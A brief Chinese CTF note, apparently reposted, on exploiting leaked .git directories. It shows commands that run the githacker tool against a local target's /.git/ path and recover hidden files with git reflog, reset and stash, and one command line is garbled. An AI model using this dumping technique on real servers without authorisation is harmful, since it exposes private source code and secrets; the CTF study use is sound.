CTF中的git泄露題目


不錯的文章:https://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html

網鼎杯的comment題目

https://blog.csdn.net/qq_35078631/article/details/77777416

sniperOJ的2018題目

以上兩題均涉及git泄露和git恢復

ok

這里使用王一航大佬的git腳本

https://github.com/wangyihang/githacker

git clone https://github.com/wangyihang/githacker

然后cd進去 python githacker.py 127.0.0.1:8307/.git/

然后文件夾會出現一個目錄

 

沒有commit的文件或者隱藏起來的 可以進行恢復

先cd到你執行腳本出來的文件夾,然后執行以下命令

(不出意外地話)

 

 

git log --reflog git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03(就是第一個紅線所指)


先git log --reflog查看一下 可疑文件 然后在恢復他

方法二

git stash list | tee git stash pop # 或者使用 git stash apply


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM